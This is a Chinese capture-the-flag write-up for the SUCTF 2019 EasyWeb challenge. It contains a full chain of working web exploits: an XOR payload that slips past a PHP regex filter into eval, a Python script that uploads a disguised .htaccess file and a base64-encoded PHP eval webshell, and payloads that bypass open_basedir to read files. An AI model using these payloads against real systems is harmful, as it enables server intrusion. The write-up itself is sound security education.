[SUCTF 2019]EasyWeb
代码审计
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
1.count_chars() 函数
cont_chars(str, mode)
返回一个字符串,包含所有在 “Hello World!” 中使用过的不同字符(模式 3):
<?php
$str = "Hello World!";
echo count_chars($str,3);
?>
运行结果:
!HWdelor
2.strrpos()
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)
语法
strrpos(string,find,start)
查找 “php” 在字符串中最后一次出现的位置:
<?php
echo strrpos("I love php, I love php too!","php");
?>
运行结果:19
3.mb_strpos
mb_strpos函数用于查找字符串在另一个字符串中首次出现的位置,其使用语法是
mb_strpos(string $haystack,string $needle,int $offset = 0…
haystack
要被检查的 string。
needle
在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
offset
搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计
4.exif_imagetype()
exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型
用法:
exif_imagetype(string $filename): int|false
exif_imagetype()读取图像的第一个字节并检查其签名
<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
echo 'The picture is not a gif';
}
?>
运行结果:
The picture is not a gif
解题整体思路:
传入GET型参数 _ 赋值给 $hhh ,先是strlen限制长度,然后正则过滤,然后使用count_chars函数做一个检查,最后执行eval( $hhh),显然是要通过hhh参数来执行get_the_flag函数
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
过滤了数字字母,绕过方法一般有异或 取反
,参看p神的一些不包含数字和字母的webshell
本题把~过滤了,所以没法取反绕过
异或绕过的原理:两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可
php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$ _GET[b],由于b不受限制就可以任意传值了,不过
注意1:
在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=$ {%ff%ff%ff%ff ^ %a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${???^???}{?}();但是到了eval()函数内部就会变成 ${_GET}{?}();成功执行。注意2:
测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如 $ {_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET[‘a’]
构造方法:
首先找哪些字符可以用,打印出它们的ascii码
<?php
for($ascii=0;$ascii<256;$ascii++){
if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) )
{
echo $ascii.',';
}
}
// 33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,
// 130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,
// 149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,
// 168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,
// 187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,
// 206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,
// 225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,
// 244,245,246,247,248,249,250,251,252,253,254,255
?>
构造目标:?_=$_GET[_]();&_=phpinfo
[]可以使用{}代替,需要得到的字符就是_GET,编写python脚本:
def func(str):
s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,
94,123,125,128,129,130,131,132,133,134,135,136,137,138,
139,140,141,142,143,144,145,146,147,148,149,150,151,152,
153,154,155,156,157,158,159,160,161,162,163,164,165,166,
167,168,169,170,171,172,173,174,175,176,177,178,179,180,
181,182,183,184,185,186,187,188,189,190,191,192,193,194,
195,196,197,198,199,200,201,202,203,204,205,206,207,208,
209,210,211,212,213,214,215,216,217,218,219,220,221,222,
223,224,225,226,227,228,229,230,231,232,233,234,235,236,
237,238,239,240,241,242,243,244,245,246,247,248,249,250,
251,252,253,254,255]
for i in s:
for j in s:
if chr(i^j)==str and hex(i)=='0x81': #hex(i)可以指定其他任意值,只要异或出来为指定的字符即可
#print(chr(j),chr(i))
print(hex(j),hex(i))
string = "_GET"
for m in string:
func(m)
得到满足条件的字符的hex编码
0xde 0x81
0xc6 0x81
0xc4 0x81
0xd5 0x81
payload:
?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=phpinfo
在phpinfo里找到flag了。。。
尝试一下另外的方法
知道方法之后就需要构造执行get_the_flag函数的异或payload:?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag
分析get_the_flag函数:
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
要求上传的文件后缀不能有ph
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
文件内容不能有<?
由于< script language=“php”> </ script>在php7已经不支持了,所以考虑其他方法
if(!exif_imagetype($tmp_name)) die("^_^");
检查是否是图像,可以添加幻术头GIF98a
绕过
思路:文件上传绕过:上传.htaccess文件
添加GIF98a在开头会返回500状态码,参考别人的wp才知道不行,有2种绕过方法
法一.添加
#define width 1337
#define height 1337
法二:
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
这里采用法一:
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/shell.r"
上传文件脚本:
import requests
import base64
url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"
htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")
file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)
file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)
上传成功,使用hackbar验证一下:
成功
使用蚁剑连接
在根目录下找到flag,但是看其他wp好像原题还有一层限制,需要绕过open_basedir,否则不能查看根目录
参考:open_basedir bypass
这里利用chdir()与ini_set()组合bypass
1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
在根目录找到flag
读取
1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('THis_Is_tHe_F14g'));